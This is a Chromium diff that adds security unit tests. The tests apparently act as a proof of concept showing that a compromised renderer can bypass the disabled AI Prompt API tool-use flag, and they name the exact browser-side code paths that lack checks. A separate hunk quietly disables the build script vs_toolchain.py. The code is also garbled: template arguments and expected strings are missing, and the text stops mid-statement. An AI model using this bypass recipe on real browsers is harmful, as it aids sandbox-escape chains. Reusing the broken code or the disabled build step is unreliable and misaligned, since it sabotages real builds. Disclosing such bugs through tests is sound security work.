diff --git a/build/vs_toolchain.py b/build/vs_toolchain.py index 88489da743f6d..ef2ec5e69b41c 100755 --- a/build/vs_toolchain.py +++ b/build/vs_toolchain.py @@ -669,4 +669,5 @@ def main(): if __name__ == '__main__': - sys.exit(main()) + #sys.exit(main()) + pass diff --git a/chrome/browser/ai/ai_language_model_unittest.cc b/chrome/browser/ai/ai_language_model_unittest.cc index 6e2766663ce73..11a92c2a78227 100644 --- a/chrome/browser/ai/ai_language_model_unittest.cc +++ b/chrome/browser/ai/ai_language_model_unittest.cc @@ -2257,6 +2257,156 @@ TEST_F(AILanguageModelOpenLoopToolTest, ClonedSessionPreservesTools) { EXPECT_THAT(final_response, testing::HasSubstr("\"condition\":\"Cloudy\"")); } +// ============================================================================= +// SECURITY: Browser-side kAIPromptAPIToolUse gate bypass +// ============================================================================= +// +// These tests simulate a compromised renderer that ignores the renderer-side +// RuntimeEnabledFeatures::AIPromptAPIToolUseEnabled() gate and sends tool-use +// IPC directly. They demonstrate that chrome/browser/ai performs NO +// browser-side re-validation of blink::features::kAIPromptAPIToolUse: +// +// 1. ai_manager.cc:833-836 sets kToolUse purely from the presence of +// `options->tools`, and the only would-be gate at :848-861 is defeated +// because ModelClient::capabilities() unconditionally contains kToolUse +// (model_broker_client.cc:90). +// +// 2. ai_language_model.cc ConvertToInput() accepts kToolResponse content +// with no Has(kToolUse) capability check (unlike kBitmap/kAudio). +// +// In production this means a compromised renderer on stable Chrome (where +// AIPromptAPIToolUse is experimental == disabled-by-default) can drive +// renderer-supplied DictValues through browser-process base::JSONWriter::Write +// (AppendToolDeclarations / GetToolResponseFromDict) and forward +// ml::ToolDeclaration / ml::ToolResponse InputPieces to the ODMS utility +// process and the closed-source ChromeML library — code the experimental flag +// was intended to keep off stable. +class AILanguageModelToolUseGateBypassTest + : public AILanguageModelOpenLoopToolTest { + public: + AILanguageModelToolUseGateBypassTest() { + // Explicitly DISABLE the tool-use feature. This is the production-stable + // default (status:experimental in runtime_enabled_features.json5 == + // FEATURE_DISABLED_BY_DEFAULT for the matching base::Feature on every + // platform). A correct browser-side implementation would reject the IPCs + // below with this flag off. + disable_tool_use_.InitAndDisableFeature( + blink::features::kAIPromptAPIToolUse); + } + + private: + base::test::ScopedFeatureList disable_tool_use_; +}; + +// Bypass #1: CreateLanguageModel with `tools[]` populated. +// +// Demonstrates that with kAIPromptAPIToolUse DISABLED, the browser still: +// - constructs an AILanguageModel with the renderer-supplied tools_, and +// - runs AppendToolDeclarations() -> base::JSONWriter::Write() on the +// renderer-controlled input_schema DictValue in the BROWSER process, and +// - forwards the resulting ml::ToolDeclaration InputPieces to the ODMS +// session (proven by the fake service echoing "" back). +TEST_F(AILanguageModelToolUseGateBypassTest, + BrowserAcceptsToolDeclarationsWithFlagDisabled) { + // Sanity: the feature is OFF — this is what stable Chrome ships. + ASSERT_FALSE( + base::FeatureList::IsEnabled(blink::features::kAIPromptAPIToolUse)); + + // Craft a renderer-controlled tool declaration. In a real attack the + // input_schema is an arbitrary mojo_base.mojom.DictionaryValue (depth-bounded + // only by Mojo's kMaxRecursionDepth) supplied by the compromised renderer. + auto tool = blink::mojom::AILanguageModelToolDeclaration::New(); + tool->name = "renderer_controlled_tool"; + tool->description = "x"; + base::DictValue schema; + schema.Set("attacker_key", "attacker_value"); + tool->input_schema = std::move(schema); + + std::vector tools; + tools.push_back(std::move(tool)); + + auto options = blink::mojom::AILanguageModelCreateOptions::New(); + options->tools = std::move(tools); + options->initial_prompts.push_back(MakePrompt(Role::kSystem, "sys")); + + // BUG: a correct browser-side gate would reject here. Instead the browser + // happily creates the session and embeds the tool declaration in the ODMS + // context. + TestCreateLanguageModelClient client; + GetAIManagerRemote()->CreateLanguageModel(client.BindNewPipeAndPassRemote(), + std::move(options)); + auto result = client.result().Take(); + ASSERT_TRUE(result.has_value()) + << "Session creation with tools[] succeeded despite " + "kAIPromptAPIToolUse being DISABLED — no browser-side gate."; + mojo::Remote session( + std::move(result.value().language_model)); + + // Drive a Generate() so the fake ODMS echoes its accumulated context back. + // Seeing "" proves AppendToolDeclarations + // ran in the browser process and the ml::ToolDeclaration InputPiece reached + // the ODMS session. + auto responses = Prompt(*session, MakeInput("go")); + std::string echoed = base::JoinString(responses, ""); + EXPECT_THAT(echoed, + testing::HasSubstr("")) + << "Renderer-supplied ToolDeclaration reached the on-device-model " + "service with the tool-use feature flag DISABLED."; +} + +// Bypass #2: kToolResponse on a vanilla session — no tools[] needed. +// +// Demonstrates the second, independent bypass: ConvertToInput() at +// ai_language_model.cc:161-168 accepts the kToolResponse union arm with NO +// capabilities.Has(kToolUse) check (kBitmap/kAudio do have such checks). A +// compromised renderer can therefore create a vanilla session (params-> +// capabilities empty -> the HasAll block at ai_manager.cc:848 is skipped +// entirely) and then push renderer-controlled DictValues through browser- +// process GetToolResponseFromDict()->JSONWriter::Write() and on to the ODMS. +TEST_F(AILanguageModelToolUseGateBypassTest, + BrowserAcceptsToolResponseOnVanillaSessionWithFlagDisabled) { + ASSERT_FALSE( + base::FeatureList::IsEnabled(blink::features::kAIPromptAPIToolUse)); + + // Vanilla session: no tools, no expected_inputs. Session capabilities are + // EMPTY, so kToolUse is NOT in the session's capability set. + auto session = CreateSession(); + + // Craft a renderer-controlled kToolResponse prompt. The "result" Value is + // arbitrary attacker-controlled data that the BROWSER process serialises via + // base::JSONWriter::Write() inside GetToolResponseFromDict(). + base::DictValue tool_response; + tool_response.Set("callID", "c0"); + tool_response.Set("name", "no_such_tool"); + base::DictValue inner; + inner.Set("renderer_payload", "reaches_odms"); + tool_response.Set("result", std::move(inner)); + + std::vector prompts; + auto p = blink::mojom::AILanguageModelPrompt::New(); + p->role = Role::kUser; + p->content.push_back( + blink::mojom::AILanguageModelPromptContent::NewToolResponse( + std::move(tool_response))); + prompts.push_back(std::move(p)); + + // BUG: ConvertToInput() should reject kToolResponse when the session lacks + // kToolUse (mirroring its kBitmap/kAudio handling). It does not — the + // ml::ToolResponse InputPiece is forwarded to the ODMS session, which the + // fake service proves by echoing "" back. + AITestUtils::TestStreamingResponder responder; + session->Prompt(std::move(prompts), /*constraint=*/nullptr, + responder.BindRemote()); + ASSERT_TRUE(responder.WaitForCompletion()); + std::string echoed = base::JoinString(responder.responses(), ""); + EXPECT_THAT(echoed, + testing::HasSubstr("